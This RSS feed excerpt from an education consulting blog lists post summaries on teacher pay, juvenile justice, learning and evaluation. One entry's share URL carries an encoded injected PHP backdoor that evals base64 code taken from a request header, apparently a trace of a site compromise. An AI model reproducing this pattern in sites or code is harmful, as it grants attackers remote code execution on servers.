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		<title>the cost of an MEd</title>
		<description><![CDATA[&#8220;My own state of Washington has an average salary bump of nearly $11,000 for a master&#8217;s degree &#8212; and more than half of our teachers get it. That&#8217;s more than $300 million every year that doesn&#8217;t help kids.&#8221; &#8212; Bill Gates, in a speech to the Council of Chief State School Officers. http://www.seattlepi.com/local/430516_teachers20.html addthis_url = [...]]]></description>
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		<title>Wasteland</title>
		<description><![CDATA[The summary below is reposted from Public Education Network and a summary of a post from Dropout Nation. &#8220;America spends $5.7 billion on incarcerating juveniles, billions more on the entire juvenile justice system, and gets nothing but tragedy in return,&#8221; writes RiShawn Biddle on his Dropout Nation website. Just 45 percent of incarcerated juveniles spend [...]]]></description>
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		<title>Learning, informal education &amp; families</title>
		<description><![CDATA[“In all the fighting over education we are simply saying that we are not yet satisfied- after about a million years of struggling to become human- that we have mastered the fundamental human task, learning.  It must also be clear that we will never quite learn how to learn, for since Home sapiens is self-changing, [...]]]></description>
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		<title>Alexander Russo talking about bringing lessons from &#8216;The Wire&#8217; into the classroom</title>
		<description><![CDATA[I always enjoy Alexander Russo&#8217;s blogs about education and Chicago Public Schools, but this one got me really, really excited!  I was teaching in Washington DC when the wire came out and the show was so real, so authentic&#8230; It visually described reality for some kids and some communities in ways that words often can&#8217;t. [...]]]></description>
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		<title>The Wisdom of Thomas Kuhn</title>
		<description><![CDATA[As I am wrapping up my first year as a doctoral student, I am writing paper and reflecting on my learning. Thomas Kuhn writes about paradigm shifts and the scientific revolution, and he has been cited in all of my courses, regardless of content or discipline. Here is a quote that reflects upon why Kuhn&#8217;s [...]]]></description>
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		<title>National learning standards for colleges?</title>
		<description><![CDATA[Not quite national, but according to an article in the New York Times on April 8th, colleges in 3 states are sharing the work of designing degree competencies for education, history and chemistry (Indiana), history and physics (Utah) and graphic design and chemistry (Minnesota).  This is definitely an issue to watch!  I have seen cases [...]]]></description>
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		<title>“Baffling” Link Between Autism and Vinyl Floors via Seth&#8217;s blog</title>
		<description><![CDATA[If you haven&#8217;t found Seth&#8217;s Blog, I highly recommend it!  Seth Roberts, Ph.D., is a professor emeritus of psychology at the University of California at Berkeley.  He writes about a variety of topic, but has a great mind for statistics.  He often posts about statistics that are used incorrectly, by people who are usually considered [...]]]></description>
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		<title>A new source for Evaluator and Evaluation Blogs</title>
		<description><![CDATA[AEA, the American Evaluation Association, has started to collect a list of blogs either about evaluation or by evaluators.  There seems to be quite a mix of professional topics as well as personal blogs.  To see the complete list, click here. addthis_url = 'http%3A%2F%2Fmurphyeducational.com%2Feducation-blog%2F2009%2F04%2F07%2Fa-new-source-for-evaluator-and-evaluation-blogs%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F'; addthis_title = 'A+new+source+for+Evaluator+and+Evaluation+Blogs'; addthis_pub = '';]]></description>
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		<description><![CDATA[I read eduwonkette and it is always well researched and current.  But this is the first time that I am so excited about what they are writing that I am moved to share.  The writers are generating a wish list of their top five wishes for education policy over the next four years. Wish #5, [...]]]></description>
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		<title>We will be moving!</title>
		<description><![CDATA[Murphy Educational Consulting will be moving in the spring of 2009 to Minneapolis, MN.  I am excited to join this vibrant community, with a lot of activity in the areas of evaluation, youth leadership and social justice.  If you have any ideas for people that I should meet, organizations I should learn about or things [...]]]></description>
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